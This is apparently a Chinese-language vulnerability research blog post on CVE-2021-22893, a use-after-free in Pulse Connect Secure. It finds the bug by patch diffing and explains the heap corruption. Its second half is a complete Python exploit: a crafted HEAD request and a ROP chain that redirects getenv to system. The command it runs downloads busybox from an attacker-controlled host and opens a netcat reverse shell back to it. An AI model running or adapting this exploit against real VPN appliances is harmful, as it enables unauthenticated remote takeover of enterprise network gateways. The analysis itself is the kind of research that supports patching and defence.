CVE-2021-22893 Pulse Connect secure

First Post:

Last Update:

Page View: loading...

CVE-2021-22893

Multiple use after free in Pulse Connect Secure before 9.1R11.4 allows a remote unauthenticated attacker to execute arbitrary code via license services.

CVSSv3: 10.0

Discovery

研究环境: PCS_KVM-9.1r8.0

根据官方的漏洞公告以及描述,公布了4个cve,对其中3个漏洞给出了处理方案,对下面5个url访问进行禁止。

1
2
3
4
5
^/+dana/+meeting
^/+dana/+fb/+smb
^/+dana-cached/+fb/+smb
^/+dana-ws/+namedusers
^/+dana-ws/+metric

根据漏洞描述,第一条用于阻止CVE-2021-22894,二三两条阻止CVE-2021-22899,因此猜测漏洞路径在于四五两条。

接下来需要猜测是在文件系统层面还是逻辑层面,先在目标文件系统查找是否存在metricnamedusers文件,发现仅有一个的不可执行的乱码namedusers文件,所以大概率在逻辑层面则尝试查找哪些文件包含/dana-ws/metric/dana-wsnamedusers字符串,两者在匹配中都指向了/home/bin/web,且为可执行文件。

接下来分析执行路径可以发现两则url匹配是挨在一起的,且生成的结构体的函数类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char __cdecl sub_80A6BB0(DSLog::Debug *a1)
{
// ...
if ( (unsigned __int8)sub_80B34D0(*((char **)a1 + 16), "/dana-ws/namedusers/", 20) )
{
DSCockpitCounter::updateCounter(0, 1);
DSCockpitCounter::updateCounter(4, 1);
return sub_808DC40((int)a1) != 0;
}
if ( (unsigned __int8)sub_80B34D0(*((char **)a1 + 16), "/dana-ws/metric/", 16) )
{
DSCockpitCounter::updateCounter(0, 1);
DSCockpitCounter::updateCounter(4, 1);
return sub_808DB00((int)a1) != 0;
}
// ...
}

虽然中途路径不同,但后续也是汇聚到同一个函数,因此大胆猜测两者都能导致漏洞触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl sub_80AD400 (int a1, int a2)
{
// ...
v79 = memcmp(v9, "nameduser", 9u) == 0;
if ( !v10
|| (v11 = (const void *)(*(int (__cdecl **)(int))(*(_DWORD *)v10 + 12))(v10),
v2 = v49,
v12 = memcmp(v11, "metric", 6u) == 0,
v13 = 1,
!v12) )
{
v13 = 0;
}
LABEL_7:
if ( !*(_BYTE *)(v2 + 134) )
{
if ( !v80 && !v79 && !v13 )
{
sub_8079CC0(*(void **)(v2 + 8), (char *)0xA, 0);
result = 0;
goto LABEL_12;
// ...
}

后续进行bindiff会发现一个明显的点,新版本相对于老的多了一个对HEAD的检查,存在HEAD则不会进入一个特殊函数。

1
2
3
4
5
6
7
8
9
int __cdecl sub_ADD10(DSLicenseNG *a1)
{
// ...
v20 = memcmp(*(const void **)(*((_DWORD *)a1 + 3) + 60), "HEAD", 4u) == 0;
// ...
if ( !v20 )
(*(void (__cdecl **)(_DWORD, _DWORD))(**((_DWORD **)a1 + 3) + 60))(*((_DWORD *)a1 + 3), 0);
// ...
}

尝试使用head向服务漏洞url发送请求,成功触发服务崩溃,找到漏洞点。

Analysis

发送测试,虽然触发漏洞导致崩溃,但是崩溃的点在于strncmp时,一个参数为空导致的崩溃,往上回溯是被free后清空导致的,这个点没啥可以利用,如果去分析漏洞成因具体过程又太复杂,所以对请求体进行fuzz(并非fuzz,不小心试出来的,纯狗运),发现请求体connection字段内容写成close,导致崩溃的结果与先前不同,是eip指向的内容不可读,且该eip的4字节,存在于我的请求体中。

1
2
3
4
5
6
7
8
9
10
url = "http://192.168.122.201/dana-ws/namedusers/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "close",
"Cookie": "DSSignInURL=/admin; id=state_2f79161788550b48d3d8591b2d6c51e2; DSDID=8664c3389411ee17; DSFirstAccess=1752835634; DSSIGNIN=url_admin; DSLastAccess=1752835691; DSLaunchURL=2F64616E612D61646D696E2F6D6973632F64617368626F6172642E636769; DSID=d9a3dbc285fd83192724aff7e3f74a4d",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}

回溯找到造成任意代码执行指向的函数,发现是该触发函数,也是patch后被限制的函数。且可以发现其先获取*(a1+3)内容然后在取出前4字节内容,再进一步取出+60字节的内容作为跳转。到这其实可以猜测出来后面第二次第三次取出的地址都被free了,刚好第二次的前4字节刚好又是next chunk地址。所以可能达到任意代码执行。

1
2
3
4
5
6
7
int __cdecl sub_80C2750(DSLicenseNG *a1)
{
// ...
(*(void (__cdecl **)(_DWORD, _DWORD))(**((_DWORD **)a1 + 3) + 60))(*((_DWORD *)a1 + 3), 0);
return 0;
// ...
}

具体解释就是第二次的chunk里面保存的是各种指针,用于保存分割开的用户端请求内容,比如url,请求方式,user-agent等,按正常想法来看肯定先free内部指针再free外部的指针。同时该libc版本是glibc-2.12,因为第二次的chunk大小是0x110被free后肯定放入unsorted bin,那么我们只要保证让第二次的chunk里指针的chunk(即第三次的chunk) free后是在unsorted bin即可,而且因为unsorted bin为LIFO,所以第二次的chunk前4字节必定指向第三个次的chunk(也就是用户写入的),实现可控任意代码执行。

Exploit

在写exp时过程中发现,在中headers中,没法写入小于\x20的bytes,所以选择塞在了HEAD请求的后边,同时也要注意\x09~\x0d,\x20的byte也没法写入。

接下来就是得,面对有byte限制,无法泄露libc地址,仅能触发一次,edx和[eax]指向用户写入内容,且写入内容前0xc字节因为free导致不可控的ROP编写,因为byte限制导致好一些gadget不能用,但是好的地方就是chunk可以非常大(起码可以0x1000),好部署ROP。

具体ROP:

ROP中gad0~gad5按顺序执行

目的实现栈迁移,利用gad0绕过gad1的je 0x3fc08;,gad1的mov eax, dword ptr [eax];方便后续gad2增加rax,绕过chunk前0xc字节不可控,gad1的mov edi, eax;是为了防止gad3的mov eax, dword ptr [edi];导致gad3的call dword ptr [eax + 0x58];的不可控,最后gad4跳转到部署好的ROP。

1
2
3
4
5
gad0 = 0x080842ef  # add ecx, 2 ; mov dword ptr [esp + 8], ecx ; call dword ptr [edx + 0x20]
gad1 = 0x08087843 # mov edi, eax; je 0x3fc08; mov eax, dword ptr [eax]; mov dword ptr [ebp - 0xf8], edx; mov dword ptr [esp], edi; call dword ptr [eax + 0x54];
gad2 = 0x0805c096 # add al, 0x24 ; call dword ptr [edx + 0x18]
gad3 = 0x08087865 # push eax; pop esp; mov dword ptr [ebp - 0xec], eax; mov eax, dword ptr [edi]; mov dword ptr [esp], edi; call dword ptr [eax + 0x58];
gad4 = 0x0807eb23 # add esp, 0xb0; pop ebx; pop esi; pop ebp; ret;

目的实现rce,通过gad7修改got表的getenv地址为system,通过gad8向bss段上写入要执行的代码字符串,gad9用于处理gad7导致的栈不平衡。

1
2
3
4
5
gad5 = 0x08106277  # pop eax; ret;
gad6 = 0x080fbf11 # pop edx; ret;
gad7 = 0x08107327 # add dword ptr [eax], edx; pop eax; ret 2;
gad8 = 0x0805bf2a # mov dword ptr [eax], edx; pop ebp; ret;
gad9 = 0x08056825 # ret 2;

最后就是实现rce。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import socket
import ssl
import struct
import time
import select

def send_raw_http_request_improved(host, port, path, payload_bytes, timeout=10):
"""改进的原始套接字HTTP请求"""

sock = None
ssl_sock = None

try:
print(f"连接到 {host}:{port}...")

# 创建套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)

# 先建立TCP连接
print("建立TCP连接...")
sock.connect((host, port))
print("✓ TCP连接成功")

# 创建SSL上下文
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
context.set_ciphers('DEFAULT@SECLEVEL=1') # 降低安全级别,兼容老旧服务器

# SSL握手
print("执行SSL握手...")
ssl_sock = context.wrap_socket(sock, server_hostname=host)
print("✓ SSL握手成功")

# 构造HTTP请求
payload = payload_bytes.decode("latin-1")
http_request = f"HEAD{payload} {path} HTTP/1.1\r\n"
http_request += f"Host: {host}:{port}\r\n"
http_request += f"Connection: close\r\n"
pad = "\xff"*0x74
#http_request += f"User-Agent: {pad}\r\n"

request_part1 = http_request.encode("latin-1")
request_part5 = b"\r\n"

# 完整请求
full_request = request_part1 + request_part5

print(f"发送HTTP请求 ({len(full_request)} 字节)...")
#print(f"请求头部: {request_part1.decode('latin-1', errors='ignore')}")
#print(f"Payload部分: {payload_bytes.hex()}")

# 发送请求
ssl_sock.sendall(full_request)
print("✓ 请求发送完成")

# 使用select等待响应,避免无限阻塞
print("等待服务器响应...")
ready = select.select([ssl_sock], [], [], timeout)

if ready[0]:
# 有数据可读
response_data = b""
while True:
try:
chunk = ssl_sock.recv(1024)
if not chunk:
break
response_data += chunk
# 如果收到完整的HTTP响应头,可以提前退出
if b"\r\n\r\n" in response_data:
print("✓ 收到完整HTTP头部")
break
except socket.timeout:
print("接收数据超时,使用已收到的数据")
break

if response_data:
print(f"✓ 收到响应 ({len(response_data)} 字节):")
response_text = response_data.decode('latin-1', errors='ignore')
print(response_text[:500]) # 只显示前500字符
return response_data
else:
print("⚠ 没有收到响应数据")
return None
else:
print("✗ 等待响应超时")
return None

except socket.timeout:
print("✗ 套接字操作超时")
return None
except ssl.SSLError as e:
print(f"✗ SSL错误: {e}")
return None
except ConnectionRefusedError:
print("✗ 连接被拒绝")
return None
except Exception as e:
print(f"✗ 其他错误: {e}")
return None
finally:
# 确保套接字被关闭
try:
if ssl_sock:
ssl_sock.close()
elif sock:
sock.close()
except:
pass

def craft_evil_bytes(cmd):

gad0 = 0x080842ef # add ecx, 2 ; mov dword ptr [esp + 8], ecx ; call dword ptr [edx + 0x20]
gad1 = 0x08087843 # mov edi, eax; je 0x3fc08; mov eax, dword ptr [eax]; mov dword ptr [ebp - 0xf8], edx; mov dword ptr [esp], edi; call dword ptr [eax + 0x54];
gad2 = 0x0805c096 # add al, 0x24 ; call dword ptr [edx + 0x18]
gad3 = 0x08087865 # push eax; pop esp; mov dword ptr [ebp - 0xec], eax; mov eax, dword ptr [edi]; mov dword ptr [esp], edi; call dword ptr [eax + 0x58];
gad4 = 0x0807eb23 # add esp, 0xb0; pop ebx; pop esi; pop ebp; ret;

# stack pivoting
pd = b"\x00"*4
pd = pd.ljust(0x18-0xc, b"\xff")
pd+= struct.pack("I", gad3) #4
pd = pd.ljust(0x20-0xc, b"\xff")
pd+= struct.pack("I", gad1) #2
pd = pd.ljust(0x3c-0xc, b"\xff")
pd+= struct.pack("I", gad0) #1
pd = pd.ljust(0x54-0xc, b"\xff")
pd+= struct.pack("I", gad2) #3
pd = pd.ljust(0x58-0xc,b"\xff")
pd+= struct.pack("I", gad4) #5


gad5 = 0x08106277# pop eax; ret;
gad6 = 0x080fbf11# pop edx; ret;
gad7 = 0x08107327# add dword ptr [eax], edx; pop eax; ret 2;
gad8 = 0x0805bf2a# mov dword ptr [eax], edx; pop ebp; ret;
gad9 = 0x08056825# ret 2;
buf = 0x0810e080
getenv_got = 0x0810B368
getenv_plt = 0x0805B44B
getenv_system_offset = 0xdb80
# system
pd = pd.ljust(0xdc-0xc, b"\xff")
pd+= struct.pack("I", gad5) + struct.pack("I", getenv_got)
pd+= struct.pack("I", gad6) + struct.pack("I", getenv_system_offset)
pd+= struct.pack("I", gad7) + struct.pack("I", 0xffffffff)
pd+= struct.pack("I", gad9) + b"\xff\xff" + struct.pack("I", gad5+1) + b"\xff\xff"

if len(cmd) % 4 != 0:
cmd+= "\x00"*(4-len(cmd)%4)
def write_data(addr, data):
payd = struct.pack("I", gad5) + struct.pack("I", addr)
payd+= struct.pack("I", gad6) + data
payd+= struct.pack("I", gad8) + struct.pack("I", 0xffffffff)
return payd

for i in range(0, len(cmd), 4):
pd+= write_data(buf+i, cmd[i:i+4].encode("latin-1"))
pd+= struct.pack("I", getenv_plt) + struct.pack("I", buf)
pd = pd.ljust(0x1000, b"\xff")
return pd;
#target_server
host = "192.168.122.201"
port = 443
path = "/dana-ws/namedusers/"
#download_server
ds_ip = "192.168.122.1"
ds_port = 1145
#shell_server
ss_ip = "192.168.122.1"
ss_port = 1146
cmd = f"/home/bin/curl${{IFS}}http://{ds_ip}:{ds_port}/busybox${{IFS}}-o${{IFS}}/tmp/busybox"
cmd+= f";/bin/chmod${{IFS}}755${{IFS}}/tmp/busybox"
cmd_shell = f"/tmp/busybox${{IFS}}nc${{IFS}}{ss_ip}${{IFS}}{ss_port}${{IFS}}-e${{IFS}}/bin/sh"
pd = craft_evil_bytes(cmd)
for i in range(3):
send_raw_http_request_improved(host, port, path, pd)
pd = craft_evil_bytes(cmd_shell)
for i in range(3):
send_raw_http_request_improved(host, port, path, pd)